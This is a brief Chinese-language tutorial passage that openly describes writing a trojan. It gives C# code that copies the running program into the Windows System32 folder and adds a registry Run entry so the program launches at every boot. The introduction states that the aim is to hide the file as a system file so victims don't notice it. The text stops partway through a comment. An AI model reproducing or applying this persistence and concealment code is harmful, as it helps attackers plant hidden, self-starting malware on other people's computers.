文:RQC
我们在开发木马程序的时候一般都希望别人一运行就把自己复制到C:/Windows/System32 目录下并且将其文件属性改为系统文件而且为隐藏好让别人不太好发觉,然后开机还要实现自启动,在C#中我们该怎么做呢,代码如下:
using System.IO;
using Microsoft.Win32;
using System.Diagnostics; //引入这几个命名空间
string filename = Application.ExecutablePath; //得到自身的路径和文件名
string New_filename = @"C:/Windows/System32/" + Process.GetCurrentProcess().ProcessName + ".exe"; //目标文件路径和文件名
//判断 C:/Windows/System32 这个目录下是否存在本程序 防止多次复制
if (!File.Exists(New_filename))
{
File.Copy(filename,New_filename); //将其复制进去
//将程序路径写入注册表,随Windows启动
RegistryKey runkey = Registry.LocalMachine;
RegistryKey run = runkey.CreateSubKey(@"SOFTWARE/Microsoft/Windows/CurrentVersion/Run");
run.SetValue("爷是木马", New_filename);
//将复制